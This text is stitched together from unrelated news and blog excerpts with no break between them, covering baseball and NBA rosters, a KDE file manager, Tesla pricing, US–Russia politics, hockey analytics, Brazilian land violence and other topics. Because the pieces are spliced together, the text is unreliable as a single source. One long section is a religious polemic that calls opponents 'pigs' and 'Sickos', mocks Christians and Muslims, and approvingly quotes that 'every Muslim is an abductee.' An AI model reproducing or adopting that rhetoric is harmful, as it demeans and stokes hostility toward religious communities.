“There are a lot of things we need to work through and plan out what the rotation is going to look like and deploy these pitchers,” Silverman said. “They’re all going to pitch and pitch extensive innings for us.
One roster spot had been filled in time for the game as Desmond Jennings was activated off the 15-day DL. Jennings would fill void left by the trade of Brandon Guyer.
Jennings was placed on the DL retroactive to July 1 with a strained hamstring injury that initially was sustained on June 30.
At the time of his injury, Jennings was used in a part-time role in left and center, but was back into a starting role because of the injury to Kevin Kiermaier.
Through 63 games, Jennings has managed to hit for just a .202/.286/.352 slash line and he has also added seven home runs and 19 RBI.
Both Motter and Garton return for another stint with the Tampa Bay Rays – how long they remain with the big club remains to be seen.
Motter takes the roster spot of Steve Pearce, while Garton slots into the Matt Moore’s roster spot.
For now, they’re here for the long haul unless Matt Silverman has something else up his sleeve.
Motter has appeared in 34-games, totaling 80 at-bats for a .188 average. That includes three double, 11 runs scored and 11 walks for the versatile infield/outfielder while with the Tampa Bay Rays earlier this season.
At Durham, Motter has appeared in 57 games where he’s currently batting .217, with nine home runs, 29 RBI and a .283 on-base percentage.
However, Motter he was named International League Player of the Week on Monday after hitting .412 with two home runs, eight RBIs and eight runs scored from July 25-31.
Garton returns for his third stint with the Tampa Bay Rays this season after posting a 1-0 record with a 5.17 ERA and a save in 15-games (15-2/3 innings), along with 13 strikeouts and 8 walks.
According to his blog post, Reininghaus is currently the only person working on the file manager. To change this, he plans to organise bug triaging sessions to clean up the existing open issues in the hope that this will make it easier for new contributors to join the project. He also encourages new contributors to make these sessions a starting point for their involvement with the project: "I think that participating in a joint bug triaging session is a nice way to start contributing to a free software project."
The next version, 2.1, of Dolphin – the default file manager in the KDE Software Compilation – is expected to be released as part of the KDE SC 4.9 release in August. The software can be considered one of the cornerstones of the KDE desktop and has been an integral part of it since the initial release of KDE 4.
Foye, a Newark native who attended East Side High, has always played well at Madison Square Garden -- even dating back to his days at Villanova when he played there during a couple of Big East tournaments.
Glenn James/Getty Images
During the second half of the season, Clippers PG Randy Foye led the league in 3-pointers.
Now, heading into free agency, which starts July 1, it's the Garden that's on his favorites list, according to a source close to the six-year veteran who's been in Los Angeles the past two seasons.
Foye, an unrestricted free agent, is interested in the Knicks and their mid-level exception of $3 million, which came about based on the early Bird rights ruling.
"He will have multiple offers at that amount and more annually," the source told ESPN New York. "New York would be a great fit for both [playing and financial reasons]."
Foye's specialty on the court would boost the Knicks in one of their weakest categories during the 2011-12 campaign: 3-point shooting (33.6 percent). During the second half of the season, Foye made the most 3-pointers in the league, even outdueling Steve Novak by two (87 to 85). While Novak had the highest percentage during that span (48.0), Foye was still lights out at 41.4.
While the Knicks will likely want to use that $3 million on one of the top point guard free agents, Steve Nash, Andre Miller or Raymond Felton, any of those veterans could demand more than that per year. So that could leave Jason Kidd, who sounds like he's the most willing to accept a veteran's minimum contract and to either be a starter or backup mentor to Jeremy Lin.
Then, the Knicks could also retain Novak using his early Bird rights and re-sign J.R. Smith, who decided not to opt in, to 120 percent of his previous year's salary using a non-Bird exception (around $2.8 million). They could also use a second veteran's minimum of $1.4 million to sign Lamar Odom.
In this scenario, the Knicks will have added one seasoned player in the backcourt (Kidd), one in the frontcourt (Odom) and another 3-pointer to their arsenal: Foye, who can also create off the dribble, play some D and replace Iman Shumpert temporarily at starting shooting guard.
Overall, the starting five would initially include: Lin, Foye, Carmelo Anthony, Amare Stoudemire and Tyson Chandler. The bench would feature: Kidd, Smith, Novak, Odom, Landry Fields (early Bird rights), Jared Jeffries (unrestricted FA) and Josh Harrellson.
In addition to Foye, Ray Allen, Anthony Parker and Mickael Pietrus are other 3-point shooters who could be on the Knicks' radar.
When we started this journey 10 years ago, we had no idea what Riot and League would become. Luckily, we were carried forward by the passion of a player community that continues to grow and evolve, ten years later.
There’s nothing more to say beyond thank you.
To mark our first decade as a company and show our appreciation to you for building the game alongside us, we’re throwing a (small) celebration. Here are the details:
10-Year Gifts
Every League of Legends player who has played a game within the last couple of months will receive a new summoner icon along with the Riot Kayle skin. If you don’t own Kayle, you’ll get her, too. If you already own both, you’ll receive a mystery gift. Players who can’t receive mystery gifts will instead receive the RP value of a mystery gift in their region.
The gifting process will take a few days, so hold tight if you haven’t received anything quite yet. And don’t worry if you haven’t played in a bit—we’ll make another pass next week to snag anyone else who logs on and grabs a game.
Bonus IP Weekend
We’re also enabling a bonus IP weekend. Starting at 12:01 a.m. PT on 9/16, your base IP gains will be doubled until 11:59 p.m. PT on 9/18 (so, Friday-Sunday). Note that this is a flat boost—premades and parties will receive the same bonus as solo players.
After much anticipation, the electric-car company unveiled its new SUV last week, and it said it already had a backlog of orders out to a year.
In a note on Tuesday, Morgan Stanley's Adam Jonas wrote that as great as the car was, the $132,000 price tag — mentioned in media reports and quoted for early adopters — was just too expensive.
Jonas and his team lowered their price target on the stock to $450 from $465 with an "overweight" rating.
They wrote (emphasis added):
We had very high expectations for the technical capabilities of the vehicle and it appears Tesla has met these expectations. However, the Model X price appears to have an as much as $25k higher average transaction price (ATP) than the Model S and easily $10k to $15k higher than we had expected, based on early list pricing/specification options. Even allowing the Model X ATPs to decline over time through the introduction of lower-spec models leaves what we believe to be a higher-priced vehicle than we expected that may struggle to meet the volume expectations of the market and our forecasts.
Jonas said the company would have to lower the Model X price to deliver more than 20,000 cars next year. The team also lowered its delivery forecasts on the SUV by 5,000 to 10,000 units from next year through 2018.
Tesla's stock fell as much as 2% in premarket trading to around $240.50 a share.
It has rallied 10% this year.
Mr Reyes, 35, a law student and veteran of the Afghan conflict, is involved in a bitter divorce in Chicago with his estranged wife, Rebecca, who is Jewish.
She has prime custody of the unnamed child and has claimed in court it would cause the girl "irreparable harm" to attend a church service.
However, Mr Reyes denies ever agreeing to raise their child as Jewish, insisting that he only converted to Judaism after their marriage in 2004 because he felt under pressure from his in-laws.
Mr Reyes was arraigned on Tuesday on a charge of indirect criminal contempt, an offence punishable by up to six months in prison.
He denied violating a court order issued by a judge barring him from taking the child to church.
His prosecution was prompted by his invitation to television crews to accompany him taking the child to Chicago's Holy Name Cathedral last month.
A new judge will hear the case next month after Mr Reyes protested that the Judge Edward Jordan, who issued the restraining order, is a former president of the Decalogue Society of Lawyers, America's oldest Jewish Bar association.
Lawyers for her mother say Mr Reyes has never been a particularly devout Christian and baptised their daughter simply to upset his former wife, later sending her pictures of the occasion.
"She looked at it as basically an assault on her little girl," said Stephen Lake, Mrs Reyes's lawyer. He said Mr Reyes later sent his ex-wife pictures of the baptism.
Mr Reyes has countered that he and his estranged wife never kept a kosher home and rarely observed the Sabbath. He said he had no problem with his child going to a Jewish preschool.
AFP
The Netherlands started test-driving its first driverless minibuses on Thursday, hoping to introduce a full-time autonomous passenger service in a central Dutch province by summer.
Dutch Infrastructure Minister Melanie Schultz van Haegen took the first ride in a so-called "WEpod" shuttle, designed to carry six people without a driver between the towns of Wageningen and Ede in the Gelderland province.
"Currently two WEPods will drive around the campus" at Wageningen University, where it is being tested, said Jac Niessen, the university's science spokesman.
"At the end of a successful testing phase, the route will be expanded off campus," the province said in a press release.
The 12-minute route will take passengers along quiet back roads, but the minibus will have to contend with cars, cyclists and pedestrians.
It will be programmed with a carefully mapped-out route in which all obstacles including trees and streetlights have been documented.
The eventual plan "is to have them drive on a route, within traffic from nearby Ede to Wageningen by the middle of the year," Niessen told AFP.
The minibus will be equipped with cameras, radar and laser sensors with on-board computers relaying information to the brakes and steering.
Its movements will be carefully watched from a central control room and it can be handed over to a controller if difficulties arise.
The French-designed WEPods were delivered to Wageningen in September and research began immediately.
Electric-powered, the minibuses are capable of reaching speeds of up to 40 kilometres per hour (25 miles per hour) but will initially travel no faster than 25 km per hour. It has a range of around 100 kilometres (60 miles).
Further research is needed into insurance and liability issues, as well as human behaviour, traffic control and legislation, provincial authorities said.
"This pilot project will help us shape the future" of transport, said Conny Bieze, Gelderland's provincial infrastructure chief.
"This initiative helps to contribute to new forms of public transport," she said.
"A trashing of the American press corps and Intel community in Eastern Europe of all places. Could Putin have asked for anything more?" Todd tweeted.
A trashing of the American press corps and Intel community in Eastern Europe of all places. Could Putin have asked for anything more? — Chuck Todd (@chucktodd) July 6, 2017
Speaking at a joint press conference in Warsaw with Polish President Andrzej Duda, Trump discounted the U.S. intelligence community's conclusion that Russia interfered in last year's election.
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"I think it was Russia, but I think it was probably other people and/or countries, and I see nothing wrong with that statement," he said. "Nobody really knows. Nobody really knows for sure."
While Trump has often ripped the intelligence community's conclusion that Russia meddled in the presidential election, it was his first time doing so during an international trip as president.
Trump also launched a series of attacks on American media, singling out NBC and CNN as "fake news."
The sticker on the back window did not mince words. It read “Fuck Trump and Fuck You For Voting For Him,” and that rubbed Fort Bend County Sheriff Troy Nehls the wrong way.
Nehls, a Republican who the Houston Chronicle said is thinking about running for Congress, went to his personal Facebook page to suggest there might be a little problem with the truck’s political message.
“I have received numerous calls regarding the offensive display on this truck as it is often seen along FM [Farm to Market Road] 359. ... Our Prosecutor has informed us she would accept Disorderly Conduct charges regarding it, but I feel we could come to an agreement regarding a modification to it,” he wrote.
Nehls later deleted the post, but not before the American Civil Liberties Union had helpfully saved it for posterity. The ACLU also offered a reminder that the Constitution that Nehls is supposed to defend allows for peaceful, if foul-mouthed protests:
No, Sheriff Troy E. Nehls, you can’t prosecute speech just because it contains words you don’t like. The owner of this truck should contact the ACLU of Texas.
The potential charges looked dubious at best to one person responding to Nehls on Facebook.
“If the owner turns his or herself in and then faces charges, please tell me where I can contribute to a legal defense fund to help defend against these politically motivated charges,” the man wrote, according to KHOU TV.
Another person who thought Nehls overstepped his bounds was John Healey, the district attorney of Fort Bend County. He told KTRK that the sheriff never consulted him about whether the anti-Trump sticker was violating any laws.
Healey also questioned whether the sticker’s language met the legal requirements for disorderly conduct. “The words would have to ‘tend to incite an immediate breach of the peace,’” he told the station.
But if no one has become violent or confrontational toward the truck’s owner ― and there’s no police report stating that happened ― the district attorney said there’s no disorderly conduct.
Facebook Sheriff Troy Nehls didn't like a rude sticker about the president and those who voted for him.
Numerous media outlets tracked down the owner of the truck, who said she used to work for Nehls at the county jail.
Karen Fonseca told the Houston Chronicle that she and her husband had the sticker made shortly after President Donald Trump’s inauguration. It attracts all types of reactions, she said, including photo-taking by some people and head shakes from others.
In addition, she has been pulled over by police officers, none of whom could find a reason for writing a ticket.
“It’s not to cause hate or animosity,” the 46-year-old Fonseca told the paper. “It’s just our freedom of speech and we’re exercising it.”
In a twist, she was later arrested on an outstanding warrant on unrelated charges of fraudulent use or possession of information, according to jail records.
The Russian president, Vladimir Putin, is the biggest threat to global security, even greater than Isis, John McCain has declared on his tour of Australia.
In an interview on ABC’s 7:30 on Monday the Republican senator said president Donald Trump made him “nervous” and expressed concern at reports that White House adviser Jared Kushner allegedly discussed creating a secret communication channel with Russia.
Asked to evaluate the threat to global security posed by Putin, McCain said: “I think he is the premier and most important threat, more so than Isis.”
McCain said that while Isis “can do terrible things and I worry a lot about what is happening with the Muslim faith ... but it’s the Russians who tried to destroy the fundamental of democracy and that is to change the outcome of an American election”.
McCain said that he’d “seen no evidence [the Russians] succeeded but they tried and they are still trying to change elections”.
He cited an attempt to influence the French election and said Russia had “dismembered Ukraine, a sovereign nation” as reasons for viewing Putin as the greatest threat.
Russian expansionism may pose existential threat, says Nato general Read more
The chairman of the Senate committee on armed services said that the United States should respond with sanctions, complaining that it had “done nothing” since the election in November to respond to the attempted interference.
Asked about allies concerns’ about international security with Trump at the helm, McCain conceded that he was “nervous from time to time” , but praised the president’s national security team.
“I do believe most of the time that he accepts their advice and counsel.
“Can I tell you that he does [that] all the time? No. Does it bother me? Yes, it bothers me.”
Asked about reports that Trump’s son-in-law, Jared Kushner, allegedly discussed establishing a back-channel to Russia, McCain said: “I don’t like it, I just don’t.”
McCain dismissed administration officials’ claims it was standard procedure, noting it was not standard procedure “prior to the inauguration of the president of the United States by someone who is not in an appointed position”.
“I don’t think there’s any doubt that this FBI issue and the whole issue of the Russians, it’s a scandal of significant proportions and it’s going to be with us for quite a while,” McCain is quoted to have said in an ABC report of the interview.
McCain said that he judges Trump by what he does rather than what he says and compared his record favourably with Barack Obama. He criticised Obama for saying Syria had crossed a line using chemical weapons, saying America had lost credibility because it “then didn’t do anything about it”.
John McCain says US has no strategy to deal with Russian cyber warfare Read more
“I believe if you’re looking at the standard of what actually happens versus what is said, then I’ll be glad to compare Donald Trump to Barack Obama – including the latest when chemical weapons were used, and we saw these dead children – at least we saw cruise missile strikes in retaliation.”
McCain warned that North Korea had the potential to become a ”serious crisis along the lines of the Cuban missile crisis, unless we do everything we can to restrain North Korean behaviour”.
“I don’t think it’s acceptable to have an intercontinental ballistic missile — or a missile aimed at Australia — with a nuclear weapon on it, and depend on our ability to counter it with an anti-missile capability.”
Asked about the fact Trump had not committed to stay in the Paris climate agreement, McCain said that European leaders were “legitimately concerned” that the US may pull out.
A powerplay quarterback on a long-term, reasonably priced deal could be an attractive commodity on the market, the story goes, and thus Edler is perhaps the Canucks’ second best trade asset behind Cory Schneider.
Personally, I think there are other ways to improve the team without moving Edler, who has been one of the NHL’s top puck-moving defensemen and power play point men for the past several years. The table below shows Edler’s power play resume, highligthing times when he was top-30 among defensemen (a "top on a team" kind of rank).
The first job of whichever new coach is hired will likely be to "fix" a power play unit that dropped off dramatically this year after a three-year run as one of the best outfits in the league. Edler is certainly not the problem, as he excels bringing the puck up in open ice and is a fairly reliable shot on the back end. Dealing Edler would be an obvious hit to the power play, and that’s clearly counter-productive to the goal of fixing the special teams. It’s for that reason that I’m skeptical that Edler will be dealt.
Another tweak a new coach may try is to get more out of Edler. FInancially speaking, a $5M cap hit isn’t bad for a top defenseman. But Edler hasn’t really been deployed like a top defenseman, instead being used as a sort of offense-only weapon. For the past few years, Edler has had favorable offensive zone starts at even strength and played a good chunk of his time with the Sedins, making his only-slightly-positive possession indicators somewhat worrisome. The table below shows some of his Corsi-based numbers for the past few seasons.
It becomes apparent pretty quickly how sheltered a role Edler has had in his time as a Canuck. Sure, he has positive Corsi numbers since 2009, but only in 2010-11 was his Corsi Rel particularly strong. More importantly, Edler has had low Corsi QoC, an indicator of the quality of competition he’s faced. While his Corsi Rel QoC the past two years indicates that he’s been getting tough assignments relative to his teammates, they’ve still been against weaker opponents. Finally, his Corsi QoT and Corsi Rel QoT, measures of teammate quality, are through the roof, thanks to playing on a top pairing and being with the Sedins for a large chunk of his even strength time. Oh, and he’s never started in the offensive zone elss than 50% of the time.
It all adds up to show that, while Edler has been good, it’s difficult to say he’s had the same kind of role or responsibility as other top defensemen.
Could Edler be as successful with a tougher role? It’s difficult to say – Edler is a bit gaffe-prone in his own end at times, and a new coach might not even risk changing his deployment because he’s an asset in this type of role.
However, I queried some data dating back to 2007-08 to find instances where defensemen saw changes in their deployment to see how their performance changed. Now, a lot of this might be noise given other changes that can’t be measured in a quick look-up like this, such as system changes, changes in style of play, aging factors, and more. But the results are interesting.
Using a cut-off of 40 games in a season, we had 860 player season-pairs. The way to understand this chart is as follows: "n" is the number of times a defensemen saw that "stat" "change" by at least that amount, and "Corsi Change" shows the average resultant change in Corsi score for those players.
It’s not surprising that a decrease in teammate quality, an increase in competition quality, or a decrease in zone starts would hurt a player’s possession indicators. What is perhaps surprising is the magnitude of the change, especially for the 21 player seasons where a defenseman saw all three role indicators get more difficult.
What that final row shows is that, basically, if Alex Edler played with league-average teammates, against moderately above-average competition, with his offensive zone start rate dropping to about 52%, his Corsi would be expected to drop by a score of 12. In other words, he’d drop from Duncan Keith territory down to Matt Carle territory. (As always, Corsi doesn’t tell us the whole story, it’s just a possession indicator, so these random player comps might not mean much.)
The point is, Edler has been deployed in favorable ways for years. A new coach may try to get more bang for his buck by using him in a more difficult role, trying to pull defensive value out of him. That to-be-determined coach would be wise, though, to expect a major drop off in terms of Edler’s possession output.
The massive advert for the iPhone 6 above is purportedly from Berlin — a place where Samsung also maintains a big presence — while the promotional poster below comes from a store in the Netherlands. We can't yet verify the legitimacy of either image, but that's really beside the point. Either they're delightfully grand examples of self-sabotage or incredibly witty visual satire. Both work for us.
Update 1:15PM ET, October 1st: Our thanks to Verge reader Tom in Berlin who went to check out the crooked billboard and confirmed its unfortunate (for Apple) shape. The Dutch signage has also been confirmed to be real, as part of a KPN in-store demo area.
@flyosity Hey look, the picture bends just like the phone too! — Leo (@LeoR2D2) September 30, 2014
. @vladsavov @verge I went to check, the bent iPhone 6 poster in Berlin is real an hilarious pic.twitter.com/6lRSbXWVtn — Tom (@taknil) October 1, 2014
Update 2:00AM ET, October 6: Thanks also to Verge reader Hal, who sent us this picture of an Apple billboard in Charlotte, North Carolina. The ad shows an iPhone 6 bent into an unnatural shape, but at least this time it's by the curvature of the building it's plastered on, rather than by a pair of giant, overly tight jeans.
" The feeling begins. Very tender, very loving. Then the pain starts. Claws slip underneath the skin and tear their way up. Just before they reach my eyes, they dig in. And I remember. First I fasted for three months. I even whipped myself before I went to sleep. At first it worked. Then the pain came back. And the voices. They call me by the name: Jesus ”.
That’s the opening narrative from “ The last temptation of Christ ”. Long before “The Da Vinci Code” caused rage among Christians across the world, “The last temptation”, a book and a movie, caused a similar outrage. It portrayed Jesus as a man of doubts, lust and so on. Of course, our media morons and Christian “Conversion factory” operators will tell you how tolerance is the hallmark of Christian Western nations. When “The last temptation” was released in 1955 by its Greek author Nikos Kazantzakis, the book was banned by the Catholic Church. The Greek Orthodox Church excommunicated Kazantzakis. Let’s not even get into “Satanic verses”. But yes, you should tolerate this from a Bollywood movie which shows Lord Shiva in a toilet and then being chased:
That doesn’t bother me too much. Poking fun at God is alright; He doesn’t get offended like some stupid humans. In Hindu folklore Shiva’s children too have poked gentle fun at him. What should concern us is that Christians would be outraging and Islamic warriors would have drawn swords and killed people if it were their religious figure instead of Shiva. I recall a movie called “Vishwaroopam” by Kamal Haasan had to go through 786 cuts and re-released with grovelling and apologies because Indian Muslims had problems with it. Then there is, of course, that American movie “Innocence of Muslims” on the life of Muhammad which caused world-violence and deaths. The Christian agitators wanted “The Da Vinci code” to carry a special note stating it is not a true story when such movies already declare they are “fictional”. Tolerance! They teach us that; don’t they? It is fun how multiple issues collide all at once.
So, in Agra some Hindu group “Reconverted” some Muslims to Hinduism and the entire media and the political Sickos have been raging for most of December. The Opposition, particularly in Rajya Sabha, have stalled the proceedings completely. A total blockade of parliament! Mind you, nobody among the media criminals is calculating loss of money as they normally do in such blockades. Never mind! And the problem for the Sickos is interesting. The “Butcher of Bengal” Derek O’Brien has been the most vociferous. I guess this idiot thinks stalling the parliament will wash away Saradha scam and terrorism in Bengal. He is followed by another Commie, anti-national goon called Sitaram Yechury. Since when are Commies even supposed to be bothered about religion? Then there is Goonda Raj chief who proclaims “With such conversions BJP is set to incite communal riots across the country”. Time for that bimbo from NDTV to tout his nonsense too:
A conversion drive can be based on “genuine grievance”? What kind of moron even asks that question? So all those Christians with their Bibles or the Mughals with their swords had a “grievance”? And MD Pai asks him the right question. For hundreds of years and even in the last decade, these same pigs have ignored all the massive operations of the Christian conversion factory and they have a problem with some Muslims reconverting to Hinduism? Fact is, in Agra or in any other place, a forced or induced conversion is a legal offence and the State govt can act upon that. So why are these media morons blabbering and the Sickos outraging and blockading the parliament? It’s simply because their pants and skirts have stripped and they have no real issues to talk about. At the same time another pastor from the factory is bragging about harvesting souls:
Indian culture has and will always be associated with Hindu culture. India will not be known for Islamic culture or Christian culture as Saudi Arabia or Italy is known. If you don’t like our ancient culture, our history, our idol-worshipping people or the way we revere cows you are welcome to stick to your country and preach about your jealous God. And since God’s agents like Pastor Keith consider it a “Win” I see nothing wrong if others play the game too. So why is the media not outraging at this illegal mafia of “Christian missionaries” whose only plan on earth is to harvest souls? After all, the Agra reconversions weren’t some covert operation like these foreign missionaries carry out. That reminds me, these marketing agents of Christianity do have a clear plan on how our media must play an important role in their inglorious mission. This is as recent as There is something about a country and its culture.. India will not be known for Islamic culture or Christian culture as Saudi Arabia or Italy is known. If you don’t like our ancient culture, our history, our idol-worshipping people or the way we revere cows you are welcome to stick to your country and preach about your jealous God. And since God’s agents like Pastor Keith consider it a “” I see nothing wrong if others play the game too. So why is the media not outraging at this illegal mafia of “Christian missionaries” whose only plan on earth is to harvest souls? After all, the Agra reconversions weren’t some covert operation like these foreign missionaries carry out. That reminds me, these marketing agents of Christianity do have a clear plan on how our media must play an important role in their inglorious mission. This is as recent as April 2014
Tolerance! So what happens when something like this is stated at some Well Archbishop, you have nothing to worry. Hindu-haters in the media at NDTV, Headlines Today, Times Group, The Hindu group… all of them are working for your Lord. Someone from your end gives them their daily bread… and crumbs too. As the stupid Pastor Keith says it’s a “win” and it’s a game that can only be played by them. If others “reconvert” then Christians and Muslims get a “Penalty kick” to score some more!! So what happens when something like this is stated at some major forum
" Belgian Indologist Dr Koenraad Elst’s anti-Islam remarks created a flutter at a Goa conclave Saturday, prompting at least one foreign delegate to walk out while another lodged a complaint with organiser India…. Addressing the session on ‘Religion — Tolerance and Terror’ at the India Ideas Conclave 2014, Elst said: “On the whole, you should make it uncool to be Muslims. That will help them. You do not forcefully need to convert them. Through this, they will themselves outgrow Islam.”…. Referring to the row over the ‘ghar wapsi’ campaign, Elst said: “The Vishwa Hindu Parishad is coming under criticism for the one thing that they are doing very well which is ghar wapsi. We need to liberate Muslims from Islam. Every Muslim is an abductee and must be brought back .”
Some people walked out. Some people complained to the organisers of that conclave. But our media and Sickos are fine with a bunch of Padres planning “Mission 2025” to turn India into “Cross” country with a plan on how to get the already servantile media to push their agenda. It’s not just that, they’ve also shown what they think of our media to be – purchaseable pimps! And what looks like a bunch of Christian Congress members in Bangalore are seeing demons suddenly:
I cannot help laugh at these jokers. But if that isn’t enough, our political Sickos got together in the afternoon of December 22 at Jantar Mantar in Delhi. Goonda Raj chief Mulayam reiterated BJP is inciting communal riots across the country. And the guy who uses Osama look-alike for his campaigns lectured on black money. Yes that would be convicted criminal Lalu Prasad Yadav – the darling of our media. Don’t complain, such comedy is free, especially with Lalu sermonising on corruption. Well, it’s like you’ve just been gifted a supposed or hopeful book by Sunny Leone titled “Why you shouldn’t watch porn”. Most in this pic are guys who are tainted with corruption, dynastic crap and absolute bad governance.
There is only one solution to this issue of religion. The Sickos and our media crooks must learn to accept that conversions work both ways and Christians and Muslims cannot claim a monopoly or partnership in it. Either that or ban all conversions. The conversion ban in Gujarat has worked well to keep the conversion factories from scams and frauds. India is a country of religious and spiritual people. A clash of religions has always been there and will remain as long as this evil of conversions continues. There is no reason why a national ban on “organised conversions” shouldn’t be banned across the country. The only ones who will reject this idea are the Sickos you just saw in the pic, the Congi-Commie partners and the Hindu-hating MSM. The conversion factories from the West will also complain.
Many American and European companies have complained in recent years that the country is becoming an increasingly difficult place to do business. Firms say they have had to navigate tricky new laws, been subject to forced technology transfers, and have complained that the authorities curtail their access to Chinese consumers.
China sets tight rules on how much money flows out of the country, as a way of controlling the value of its currency and keeping its financial system stable. A significant repatriation of foreign earnings could set off a broader capital flight, and weaken the country’s currency, the renminbi. And a sharp fall in the renminbi could spark a vicious cycle with even more companies — and possibly individuals — looking to minimize losses by moving their money out of China.
The currency controls, which were tightened last year as Beijing tried to stem a tide of money leaving the country, have led to complaints from foreign companies doing business there.
It is, for the moment, unclear how much money American companies actually keep in China, or how much they would seek to bring home. Many businesses use complex accounting techniques to book profits overseas, and firms with major investment plans in China could elect to keep their money here regardless.
Regardless, business lobbying groups here said it was unlikely that the Chinese government’s latest measures would be significant enough to keep many American companies from repatriating profits.
Jake Parker, vice president for China operations at the U.S.-China Business Council, said some of his member companies had already said that they would seek to repatriate China earnings to the United States with the tax code change, and were considering doing so quickly to minimize the risk of being subject to capital controls.
Visiting various bookstores and libraries to find books with main characters resembling her son became frustrating, McNeil told The Huffington Post. That's when she realized if she was having this problem in Atlanta with a mostly black population, then others probably were, too.
McNeil decided to create a solution to this problem. Using her own money and resources, she bought roughly 1000 books and created Just Like Me!, a monthly subscription book box, which launched on Monday.
A photo posted by Just Like Me! Box™ (@justlikemebox) on May 4, 2016 at 11:10am PDT
"I just found a void in the market and I know that I’m not the only parent that feels this way and who’d like for their children to have a diverse library, and that’s really important to me," she told HuffPost. "My goal is essentially for children to be able to see themselves in literature. It really makes a world of difference and it’s really disturbing to me that our books and our stories are so hard to find."
In the Just Like Me! box, customers get two to three age-appropriate children's books for $25 each month. Every box features books that tell the stories of black characters, supplemental learning tools and an additional gift for parents like bookmarks and backpacks.
Courtesy of Agency Seven PR The inaugural Just Like Me! box will ship to customers on June 5.
Many of the books are authored by black people, whom McNeil said don't get enough spotlight in the publishing world. McNeil admitted that finding these authors was difficult at first.
Upon further research, McNeil found out why. Of the 3,400 books received by the Cooperative Children's Book Center last year, only three percent were authored by black writers and eight percent were about black characters. Overall, there were less than 15 percent of kids' books published by major companies in the country last year.
"It is essential that we introduce our children to a diverse style of books [and] diverse characters, because it’s really important that our kids understand the world that we live in," McNeil said. "We’re not all just black, we’re not all just white, my child reads Dr. Suess, he reads all sorts of books, but I especially want him to see powerful images of himself."
Will Ferrell and Molly Shannon’s upcoming collaboration for Amazon and Funny or Die might be one of the holiday season’s funniest media experiments. The duo, in character as local Los Angeles broadcasters “Cord Hosenbeck and Tish Cattigan,” will host a live broadcast of the 2018 Tournament of Roses Parade on New Year’s Day for the streaming platform.
As announced by Amazon in an impressively sneaky press release on Wednesday, “Cord Hosenbeck and Tish Cattigan are no strangers to the Rose Bowl, having covered the event for the past 25 years. However, their move this year to Amazon from a local station will allow their fans from around the world to stream the event live.”
No network has exclusive TV rights to the Rose Parade, which is why Amazon will be able to join the other broadcasters carrying it on New Year’s Day. The characters of Cord and Tish might be an homage to local Los Angeles commentators Bob Eubanks and Stephanie Edwards, who covered the Rose Parade on KTLA for years, before retiring in 2016. Eubanks and Edwards’ coverage dominated local Los Angeles ratings on New Years Day, as viewers tuned in for their banter — which sometimes bordered on passive aggressive bickering.
A Funny or Die representative has confirmed that Shannon and Ferrell, who collaborated together as “Saturday Night Live” castmates from 1995-2001, will actually be commentating/improvising live during the morning’s broadcast.
If you were wondering who “Cord Hosenbeck” might be and turned to Google for the answers, you may have discovered Cord’s official website, an impressively deep tie-in showcasing Cord’s many talents. (Tish doesn’t appear to have one.) The project appears to have sponsorship tie-in with Wix.com, showcased specifically by Cord Hosenbeck’s official website, which not only features prominent Wix branding but a video spot featuring Farrell in character, using the service to build his website.
(There are also a great many pictures of Cord with his beloved basset hounds on the site, if that sort of thing interests you.)
“The 2018 Rose Parade Hosted by Cord & Tish” will stream live on Amazon Prime Video on New Year’s Day, Monday, January 1, 2018 at 8:00am PT / 11:00am ET. Check out “Cord” and “Tish” announcing the special in the announcement below.
Plans to reduce forest protections linked to attacks on inspectors and campaigners, environmental groups said after two land rights activists murdered
Environmental campaigners have blamed the Brazilian government and Congress for intensifying violence in the lawless Amazon after two land activists were murdered and a transporter carrying vehicles for Brazil’s environment agency was torched last week.
Brazil's archaeologists join fight to preserve country's ancient lands Read more
Activists said plans to reduce forest protection gave farmers, loggers and land grabbers a sense of impunity to attack government inspectors and activists squatting rural properties.
“We are seeing a very big increase in violence in rural areas, and the biggest cause is the posture, the behaviour and the policies being adopted in (the capital) Brasília,” said Marcio Astrini, policy coordinator for Greenpeace Brazil.
Controversial proposals in Brazil’s conservative Congress, where a powerful agribusiness lobby wields considerable influence, include liberalising strict environmental licensing regulations. Separately, the government wants to lower the legal protection for much of a 1.3m hectare forest reserve.
According to the Pastoral Land Commission, a not-for-profit group, 45 people have been murdered this year in land conflicts, compared to 61 in the whole of 2016.
On 6 July, Ademir Pereira, 44, local leader of a group called the League of Poor Peasants, was murdered at a car wash in Porto Velho, capital of Rondônia state, while his wife was meeting the local superintendent of Incra, a government land reform agency. He was shot dead by two men in a car.
“It is not possible to live in a country where people die while seeking a piece of land,” Cletho de Brito, the Incra official who was with Pereira’s wife when she found out about his killing, told the news site newsrondonia.com in a video interview.
Afonso Chagas, a Pastoral Land Commission volunteer in Rondônia, said Pereira was part of a longstanding occupation called Terra Nossa. Six people have been killed over the occupation in the past two years, he said.
On 7 July, Rosenilton de Almeida, 44, was murdered leaving an evangelical church in Rio Maria, Pará state, by two men on a motorbike, said Walrimar Santos, a police spokesman.
De Almeida was in an activist group who occupied land in the area, police said. Ten people from the same group were killed on 24 May when 21 police officers arrived at remote farmland near Pão D’Arco they had occupied to carry out an arrest warrant.
Witnesses said police arrived firing and executed the 10 occupiers. Officers said they were received by shots, said Clarissa Leão, a spokeswoman for the Federal Police – Brazil’s equivalent of Scotland Yard or the FBI – who are investigating the massacre.
In the early hours of 7 July, a transporter carrying eight vehicles for the Brazilian government environment agency, Ibama, was set on fire while parked in Cachoeira da Serra, also in Pará.
“They set it on fire while the driver was in it. He nearly got burned alive, he opened the door, it was burning,” said Luciano Evaristo, the agency’s director of environmental protection. Ibama ordered local sawmills to be closed after the attack.
“It is a war of the Brazilian state against crime,” Evaristo said.
Nine dead in Amazon's worst land-related killings in decades Read more
The area has been the scene of repeated conflict between Ibama agents and local farmers, loggers and land grabbers, who blocked the main highway last week.
Local media reported they were incensed over a decision by President Michel Temer to veto two bills that would reduce the level of environmental protection for a large part of the nearby 1.3m hectare Jamanxim forest, effectively legalising the many farms long installed in the heavily deforested area.
"I saw God of War III when I was in Santa Monica last week," Jaffe wrote on his blog. "I can and will not give away details. But I think it's ok for me to say two things: a) holy holy holy [expletive] hell!!!! b) I thought Gears of War 2 looked about as good as a next-gen game could look...Dudes and dudettes, [expletive] wait till you see the amazing graphics...just [expletive] wait."
Given the latest bombshell stories about contacts between President Donald Trump’s presidential campaign and Russian officials, CNN decided to send Senior International Correspondent Matthew Chance to get Russia’s perspective on the matter.
While interviewing Russian Foreign Ministry Spokeswoman Maria Zakharova, he asked her to comment on the latest revelations that Western intelligence agencies had discovered frequent contacts between Russian officials and the Trump campaign in various European countries.
